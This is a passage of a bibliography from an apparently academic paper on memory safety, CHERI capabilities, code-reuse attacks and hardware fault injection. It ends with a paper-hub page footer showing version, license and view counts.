  19. [19]S. Nagarkatte, “Full spatial and temporal memory safety for C,” IEEE Security & Privacy, vol. 22, no. 4, pp. 30–39, Jul. 2024. doi: 10.1109/MSEC.2024.3363142. [Online]. Available: https://ieeexplore.ieee.org/document/10439147/
  20. [20]M. Gülmez, “Shining light on critical gaps in memory-safety: From programming language to hardware,” Ph.D. dissertation, KU Leuven, Dec. 2025. [Online]. Available: https://lirias.kuleuven.be/4274569?&lang=en
  21. [21]A. Silberschatz, P. B. Galvin, and G. Gagne, Operating system concepts, 8th ed. Hoboken, N.J: Wiley, 2008. ISBN 978-0-470-12872-5
  22. [22]R. E. Bryant and D. R. O’Hallaron, Computer systems: a programmer’s perspective, 3rd ed. Boston: Pearson, 2016. ISBN 978-1-292-10176-7 978-1-292-10177-4
  23. [23]E. Levy, “Smashing the stack for fun and profit,” Phrack Magazine Volume 7 Issue 49, 1996. [Online]. Available: https://phrack.org/issues/49/14.html
  24. [24]A. Waterman, Y. Lee, D. Patterson, and K. Asanović, The RISC-V Instruction Set Manual, Volume I: Unprivileged ISA, RISC-V International, Jan. 2026. [Online]. Available: https://docs.riscv.org/reference/isa/v20260120/unpriv/unpriv-index.html
  25. [25]K. Cheng and J. Clarke, RISC-V ABIs Specification, Document Version 1.0, RISC-V International, Nov. 2022. [Online]. Available: https://github.com/riscv-non-isa/riscv-elf-psabi-doc/releases/tag/v1.0
  26. [26]K.-S. Lhee and S. J. Chapin, “Buffer overflow and format string overflow vulnerabilities,” Software: Practice and Experience, vol. 33, no. 5, pp. 423–460, Apr. 2003. doi: 10.1002/spe.515. [Online]. Available: https://onlinelibrary.wiley.com/doi/10.1002/spe.515DOI
  27. [27]L. Szekeres, M. Payer, T. Wei, and D. Song, “SoK: Eternal war in memory,” in Proceedings of the 2013 IEEE Symposium on Security and Privacy, ser. SP. Berkeley, USA: Institute of Electrical and Electronics Engineers, May 2013. doi: 10.1109/SP.2013.13. ISBN 978-0-7695-4977-4 pp. 48–62. [Online]. Available: http://ieeexplore.ieee.org/document/6547101/DOI
  28. [28]J. Caballero, G. Grieco, M. Marron, and A. Nappa, “Undangle: early detection of dangling pointers in use-after-free and double-free vulnerabilities,” in Proceedings of the 2012 International Symposium on Software Testing and Analysis, ser. ISSTA ’12. Minneapolis, USA: Association for Computing Machinery, Jul. 2012. doi: 10.1145/2338965.2336769. ISBN 978-1-4503-1454-1 pp. 133–143. [Online]. Available: https://dl.acm.org/doi/10.1145/2338965.2336769DOI
  29. [29]A. Follner, “On generating gadget chains for return-oriented programming,” Ph.D. dissertation, Technische Universität Darmstadt, Jan. 2017. [Online]. Available: https://tuprints.ulb.tu-darmstadt.de/handle/tuda/3428DOI
  30. [30]H. Shacham, “The geometry of innocent flesh on the bone: return-into-libc without function calls (on the x86),” in Proceedings of the 14th ACM Conference on Computer and Communications Security, ser. CCS ’07. Alexandria, USA: Association for Computing Machinery, Oct. 2007. doi: 10.1145/1315245.1315313. ISBN 978-1-59593-703-2 pp. 552–561. [Online]. Available: https://dl.acm.org/doi/10.1145/1315245.1315313DOI
  31. [31]S. Smith, RISC-V Assembly language programming: unlock the power of the RISC-V Instruction Set, 1st ed., ser. Maker Innovations Series. Apres, 2024. ISBN 979-8-8688-0137-2
  32. [32]R. Roemer, E. Buchanan, H. Shacham, and S. Savage, “Return-oriented programming: systems, languages, and applications,” ACM Trans. Inf. Syst. Secur., vol. 15, no. 1, pp. 2:1–2:34, Mar. 2012. doi: 10.1145/2133375.2133377. [Online]. Available: https://dl.acm.org/doi/10.1145/2133375.2133377DOI
  33. [33]M. Payer, “How memory safety violations enable exploitation of programs,” in The Continuing Arms Race: Code-Reuse Attacks and Defenses, 1st ed., ser. ACM Books, L. Per and A.-R. Sadeghi, Eds. San Rafael, USA: Association for Computing Machinery and Morgan & Claypool, 2018, pp. 1–24. ISBN 978-1-970001-81-5DOI
  34. [34]T. Bletsch, X. Jiang, V. W. Freeh, and Z. Liang, “Jump-oriented programming: a new class of code-reuse attack,” in Proceedings of the 6th ACM Symposium on Information, Computer and Communications Security, ser. ASIA CCS ’11. Hong Kong, China: Association for Computing Machinery, Mar. 2011. doi: 10.1145/1966913.1966919. ISBN 978-1-4503-0564-8 pp. 30–40. [Online]. Available: https://dl.acm.org/doi/10.1145/1966913.1966919DOI
  35. [35]G.-A. Jaloyan, K. Markantonakis, R. N. Akram, D. Robin, K. Mayes, and D. Naccache, “Return-oriented programming on RISC-V,” in Proceedings of the 15th ACM Asia Conference on Computer and Communications Security, ser. ASIA CCS ’20. Taipei, Taiwan: Association for Computing Machinery, Oct. 2020. doi: 10.1145/3320269.3384738. ISBN 978-1-4503-6750-9 pp. 471–480. [Online]. Available: https://dl.acm.org/doi/10.1145/3320269.3384738DOI
  36. [36]T. Nyman, G. Dessouky, S. Zeitouni, A. Lehikoinen, A. Paverd, N. Asokan, and A.-R. Sadeghi, “HardScope: Hardening embedded systems against data-oriented attacks,” in Proceedings of the 56th Annual Design Automation Conference 2019, ser. DAC ’19. Las Vegas, USA: Association for Computing Machinery, Mar. 2018. doi: 10.1145/3316781.3317836. ISBN 978-1-4503-6725-7 pp. 1–6. [Online]. Available: https://dl.acm.org/doi/10.1145/3316781.3317836DOI
  37. [37]L. Cheng, H. Liljestrand, M. S. Ahmed, T. Nyman, T. Jaeger, N. Asokan, and D. Yao, “Exploitation techniques and defenses for data-oriented attacks,” in Proceedings of the 2019 IEEE Cybersecurity Development, ser. SecDev. Tysons Corner, USA: Institute of Electrical and Electronics Engineers, Sep. 2019. doi: 10.1109/SecDev.2019.00022. ISBN 978-1-5386-7289-1 pp. 114–128. [Online]. Available: https://ieeexplore.ieee.org/document/8901549DOI
  38. [38]A. Syalim and D. P. Sheradhien, “C vs Rust: manual vs automatic spatial and temporal memory safety,” The Indonesian Journal of Computer Science, vol. 14, no. 2, Apr. 2025. doi: 10.33022/ijcs.v14i2.4640. [Online]. Available: https://www.ijcs.net/ijcs/index.php/ijcs/article/view/4640DOI
  39. [39]The Rust Team, “Rust Programming Language.” [Online]. Available: https://rust-lang.org/
  40. [40]N. D. Matsakis and F. S. Klock, “The Rust language,” Ada Lett., vol. 34, no. 3, pp. 103–104, Oct. 2014. doi: 10.1145/2692956.2663188. [Online]. Available: https://dl.acm.org/doi/10.1145/2692956.2663188DOI
  41. [41]S. Klabnik, C. Nichols, and C. Krycho, The Rust programming language, 3rd ed. San Francisco, USA: No Starch Press, Mar. 2026. ISBN 978-1-7185-0444-8
  42. [42]C. Cowan, C. Pu, D. Maier, J. Walpole, P. Bakke, S. Beattie, A. Grier, P. Wagle, Q. Zhang, and H. Hinton, “StackGuard: Automatic adaptive detection and prevention of buffer-overflow attacks,” in Proceedings of the 7th USENIX Security Symposium, ser. USENIX Security 98. San Antonio, USA: USENIX Association, Jan. 1998. doi: 10.5555/1267549.1267554 pp. 63–78. [Online]. Available: https://www.usenix.org/conference/7th-usenix-security-symposium/stackguard-automatic-adaptive-detection-and-prevention
  43. [43]H. Depuydt, M. Gülmez, T. Nyman, and J. T. Mühlberg, “Do we still need canaries in the coal mine? Measuring shadow stack effectiveness in countering stack smashing,” in Proceedings of the 20th International Conference on Availability, Reliability and Security, ser. ARES 2025, M. Dalla Preda, S. Schrittwieser, V. Naessens, and B. De Sutter, Eds. Ghent, Belgium: Springer Cham, 2025. doi: 10.1007/978-3-032-00627-1. ISBN 978-3-032-00627-1 pp. 193–205. [Online]. Available: https://link.springer.com/book/10.1007/978-3-032-00627-1
  44. [44]N. Burow, X. Zhang, and M. Payer, “SoK: Shining light on shadow stacks,” in Proceedings of the 2019 IEEE Symposium on Security and Privacy, ser. SP. San Francisco, USA: Institute of Electrical and Electronics Engineers, May 2019. doi: 10.1109/SP.2019.00076. ISBN 978-1-5386-6660-9. ISSN 2375-1207 pp. 985–999. [Online]. Available: https://ieeexplore.ieee.org/document/8835389DOI
  45. [45]R. N. M. Watson, S. W. Moore, P. Sewell, B. Davis, and P. Neumann, “Capability Hardware Enhanced RISC Instructions (CHERI).” [Online]. Available: https://www.cl.cam.ac.uk/research/security/ctsrd/cheri/
  46. [46]M. Gülmez, R. Sturm, H. ElAtali, H. Englund, J. Woodruff, N. Asokan, and T. Nyman, “PICASSO: Scaling CHERI use-after-free protection to millions of allocations using colored capabilities,” in Proceedings of the 35th USENIX Security Symposium, ser. USENIX Security 26. Baltimore, USA: USENIX Association, 2026, to appear. Extended version available at arXiv:2602.09131 [cs.CR]. [Online]. Available: https://www.usenix.org/conference/usenixsecurity26/presentation/guelmezarxiv.org/abs/2602.09131
  47. [47]M. Gülmez, H. Englund, J. T. Mühlberg, and T. Nyman, “Mon CHERI: Mitigating uninitialized memory access with conditional capabilities,” in Proceedings of the 2025 IEEE Symposium on Security and Privacy, ser. SP. San Francisco, USA: Institute of Electrical and Electronics Engineers Computer Society, May 2025. doi: 10.1109/SP61157.2025.00133. ISBN 979-8-3315-2236-0 pp. 829–847. [Online]. Available: https://www.computer.org/csdl/proceedings-article/sp/2025/223600a791/26hiTWeltIIDOI
  48. [48]R. N. M. Watson, “The Arm Morello Board.” University of Cambridge. [Online]. Available: https://www.cl.cam.ac.uk/research/security/ctsrd/cheri/cheri-morello.html
  49. [49]CHERIoT Platform, “CHERIoT Platform.” [Online]. Available: https://cheriot.org/
  50. [50]D. Chisnall, “CHERI or CHERIoT?” CHERIoT Platform, Nov. 2025. [Online]. Available: https://cheriot.org/cheri/philosophy/isa/2025/11/19/cheri-or-cheriot.html
  51. [51]W. W. Ho and R. A. Olsson, “An approach to genuine dynamic linking,” Software: Practice and Experience, vol. 21, no. 4, pp. 375– 390, Apr. 1991. doi: 10.1002/spe.4380210404. [Online]. Available: https://onlinelibrary.wiley.com/doi/10.1002/spe.4380210404
  52. [52]U. Drepper, “How to write shared libraries,” Dec. 2011. [Online]. Available: https://www.akkadia.org/drepper/dsohowto.pdf
  53. [53]The FreeBSD Project, “Rtld(1).” [Online]. Available: https://man.freebsd.org/cgi/man.cgi?rtld(1)
  54. [54]Y. Yu and B. W. Johnson, “Fault injection techniques: a perspective on the state of research,” in Fault Injection Techniques and Tools for Embedded Systems Reliability Evaluation, 1st ed., ser. Frontiers in Electronic Testing, A. Benso and P. Prinetto, Eds. Boston: Springer, 2004, vol. 23, pp. 7–40. ISBN 978-1-4020-7589-6. [Online]. Available: http://link.springer.com/10.1007/b105828
  55. [55]S. Mukherjee, Architecture design for soft errors. Amsterdam, Netherlands: Morgan Kaufmann Publishers/Elsevier, 2008. ISBN 978-0-12-369529-1. [Online]. Available: https://learning.oreilly.com/library/view/architecture-design-for/9780123695291/
  56. [56]Y. Kim, R. Daly, J. Kim, C. Fallin, J. H. Lee, D. Lee, C. Wilkerson, K. Lai, and O. Mutlu, “Flipping bits in memory without accessing them: an experimental study of DRAM disturbance errors,” SIGARCH Comput. Archit. News, vol. 42, no. 3, pp. 361–372, Jun. 2014. doi: 10.1145/2678373.2665726. [Online]. Available: https://dl.acm.org/doi/10.1145/2678373.2665726DOI
  57. [57]A. Tang, S. Sethumadhavan, and S. Stolfo, “CLKScrew: Exposing the perils of security-oblivious energy management,” in Proceedings of the 26th USENIX Security Symposium, ser. USENIX Security 17. Vancouver, USA: USENIX Association, 2017. ISBN 978-1-931971-40-9 pp. 1057–1074. [Online]. Available: https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/tang
  58. [58]H. Soleimany, N. Bagheri, H. Hadipour, P. Ravi, S. Bhasin, and S. Mansouri, “Practical multiple persistent faults analysis,” IACR Transactions on Cryptographic Hardware and Embedded Systems, pp. 367–390, 2022. doi: 10.46586/tches.v2022.i1.367-390. [Online]. Available: https://tches.iacr.org/index.php/TCHES/article/view/9301DOI
  59. [59]C. Shepherd, K. Markantonakis, N. van Heijningen, D. Aboulkassimi, C. Gaine, T. Heckmann, and D. Naccache, “Physical fault injection and side-channel attacks on mobile devices: a comprehensive analysis,” Computers & Security, vol. 111, p. 102471, 2021. doi: 10.1016/j.cose.2021.102471. [Online]. Available: https: //www.sciencedirect.com/science/article/pii/S0167404821002959DOI
  60. [60]H. Bar-El, H. Choukri, D. Naccache, M. Tunstall, and C. Whelan, “The sorcerer’s apprentice guide to fault attacks,” Proceedings of the IEEE, vol. 94, no. 2, pp. 370–382, Feb. 2006. doi: 10.1109/JPROC.2005.862424. [Online]. Available: https://ieeexplore.ieee.org/document/1580506
  61. [61]B. Yuce, P. Schaumont, and M. Witteman, “Fault attacks on secure embedded software: threats, design, and evaluation,” Journal of Hardware and Systems Security, vol. 2, no. 2, pp. 111–130, Jun. 2018. doi: 10.1007/s41635-018-0038-1. [Online]. Available: http://link.springer.com/10.1007/s41635-018-0038-1DOI
  62. [62]P. Daya and S. Charisopoulos, “What you need to know about ion beams,” May 2022. [Online]. Available: https://www.iaea.org/bulletin/what-you-need-to-know-about-ion-beams
  63. [63]M. Tehranipoor and C. Wang, Introduction to hardware security and trust, 1st ed. New York, USA: Springer, 2012. ISBN 978-1-4419-8079-3
  64. [64]B. Colombier, A. Menu, J.-M. Dutertre, P.-A. Moëllic, J.-B. Rigaud, and J.-L. Danger, “Laser-induced single-bit faults in flash memory: instructions corruption on a 32-bit microcontroller,” in Proceedings of the 2019 IEEE International Symposium on Hardware Oriented Security and Trust, ser. HOST. McLean, USA: Institute of Electrical and Electronics Engineers, May 2019. doi: 10.1109/HST.2019.8741030. ISBN 978-1-5386-8064-3 pp. 1–10. [Online]. Available: https: //telecom-paris.hal.science/hal-02344050DOI
  65. [65]H. Lohrke, S. Tajik, T. Krachenfels, C. Boit, and J.-P. Seifert, “Key extraction using thermal laser stimulation: a case study on Xilinx Ultrascale FPGAs,” IACR Transactions on Cryptographic Hardware and Embedded Systems, pp. 573–595, Aug. 2018. doi: 10.46586/tches.v2018.i3.573-595. [Online]. Available: https://tches.iacr.org/index.php/TCHES/article/view/7287DOI
  66. [66]R. Torrance and D. James, “The state-of-the-art in semiconductor reverse engineering,” in Proceedings of the 48th Design Automation Conference, ser. DAC ’11. San Diego, USA: Association for Computing Machinery, Jun. 2011. doi: 10.1145/2024724.2024805. ISBN 978-1-4503-0636-2 pp. 333–338. [Online]. Available: https://dl.acm.org/doi/10.1145/2024724.2024805DOI
  67. [67]D. S. V. Kumar, A. Beckers, J. Balasch, B. Gierlichs, and I. Verbauwhede, “An in-depth and black-box characterization of the effects of laser pulses on ATmega328P,” in Proceedings of the 17th International Conference on Smart Card Research and Advanced Applications, ser. CARDIS 2018, B. Bilgin and J.-B. Fischer, Eds. Montpellier, France: Springer Cham, Nov. 2018. doi: 10.1007/978-3-030-15462-2. ISBN 978-3-030-15462-2 pp. 156–170. [Online]. Available: https://link.springer.com/book/10.1007/978-3-030-15462-2
  68. [68]E. Oswald and F.-X. Standaert, “Side-channel analysis and its relevance to fault attacks,” in Fault Analysis in Cryptography, M. Joye and M. Tunstall, Eds. Berlin, Heidelberg: Springer, 2012, pp. 3–15. ISBN 978-3-642-29656-7. [Online]. Available: https://doi.org/10.1007/978-3-642-29656-7_1
  69. [69]D. Karaklajić, J.-M. Schmidt, and I. Verbauwhede, “Hardware designer’s guide to fault attacks,” IEEE Transactions on Very Large Scale Integration (VLSI) Systems, vol. 21, no. 12, pp. 2295–2306, Dec. 2013. doi: 10.1109/TVLSI.2012.2231707. [Online]. Available: https://ieeexplore.ieee.org/document/6425517DOI
  70. [70]A. Menu, J.-M. Dutertre, O. Potin, J.-B. Rigaud, and J.-L. Danger, “Experimental analysis of the electromagnetic instruction skip fault model,” in Proceedings of the 15th Design & Technology of Integrated Systems in Nanoscale Era, ser. DTIS. Marrakech, Morocco: Institute of Electrical and Electronics Engineers, Apr. 2020. doi: 10.1109/DTIS48698.2020.9081261. ISBN 978-1-7281-5426-8 pp. 1–7. [Online]. Available: https://ieeexplore.ieee.org/document/9081261/DOI
  71. [71]R. N. M. Watson, B. Davis, W. Filardo, J. Clarke, and J. Baldwin, “Adversarial CHERI Exercises and Missions.” [Online]. Available: https://ctsr d-cheri.github.io/cheri-exercises/cover/index.html
  72. [72]T. Nyman, G. Dessouky, S. Zeitouni, A. Lehikoinen, A. Paverd, N. Asokan, and A.-R. Sadeghi, “Runtime-scope- enforcement/hardscope-materials,” GitHub, Oct. 2017. [Online]. Available: https://github.com/runtime-scope-enforcement/hardscope-materials
  73. [73]M. Kerrisk, “System(3),” Linux manual pages. [Online]. Available: https://man7.org/linux/man-pages/man3/system.3.html
  74. [74]J. Clarke, “CHERI-RISC-V ELF psABI Extensions,” GitHub. [Online]. Available: https://github.com/CTSRD-CHERI/cheri-elf-psabi/blob/master/riscv.md
  75. [75]Nergal, “Advanced return-into-lib(c) exploits (PaX case study),” Phrack Magazine Volume 11 Issue 58, Dec. 2001. [Online]. Available: https://phrack.org/issues/58/4.html
  76. [76]T. T. Grugg, “Cheating the ELF Subversive Dynamic Linking to Libraries,” GitHub. [Online]. Available: https://grugg.github.io/docs/subversiveⅠd.pdf
  77. [77]W. Li, M. Zhang, T. Gui, Z. Fang, C. Xie, and F. Wu, “Improving DRAM reliability using a high order error correction code,” IEEE Transactions on Computer-Aided Design of Integrated Circuits and Systems, vol. 43, no. 12, pp. 4775–4785, Dec. 2024. doi: 10.1109/TCAD.2024.3400677. [Online]. Available: https://ieeexplore.ieee.org/document/10530193/DOI
  78. [78]H. Liljestrand, T. Nyman, K. Wang, C. C. Perez, J.-E. Ekberg, and N. Asokan, “PAC it up: Towards pointer integrity using ARM pointer authentication,” in Proceedings of the 28th USENIX Security Symposium, ser. USENIX Security 19. Santa Clara, USA: USENIX Association, 2019. ISBN 978-1-939133-06-9 pp. 177–194. [Online]. Available: https://www.usenix.org/conference/usenixsecurity19/presentation/liljestrandarxiv.org/abs/1811.09189
  79. [79]P. Verma, “Understand Arm Pointer Authentication: Pointer Authentication on Arm,” Arm Limited. [Online]. Available: https://learn.arm.com/learning-paths/servers-and-cloud-computing/pac/pac/
  80. [80]E. Dubrova, Fault-tolerant design. Springer, Mar. 2013. ISBN 978-1-4614-2112-2. [Online]. Available: https://link.springer.com/10.1007/978-1-4614-2113-9
  81. [81]R. Amslinger, S. Weis, C. Piatka, F. Haas, and T. Ungerer, “Redundant execution on heterogeneous multi-cores utilizing transactional memory,” in Proceedings of the 31st International Conference on Architecture of Computing Systems, ser. ARCS 2018, M. Berekovic, R. Buchty, H. Hamann, D. Koch, and T. Pionteck, Eds. Braunschweig, Germany: Springer International Publishing, 2018. doi: 10.1007/978-3-319-77610-1. ISBN 978-3-319-77609-5 pp. 155–167. [Online]. Available: https://link.springer.com/book/10.1007/978-3-319-77610-1

Paper details

vlnc:W_9wtzg8c3
Version
v1 · latest
Published
Fresh — added to the Hub within the last 30 days
Added
License
CC BY 4.0
Usage

views · 0

downloads · 0

A view counts once per browser per day, a download each time the PDF is requested.

  • Computer Science

Not recorded for this paper

View statement
Looking for related papers…
Contents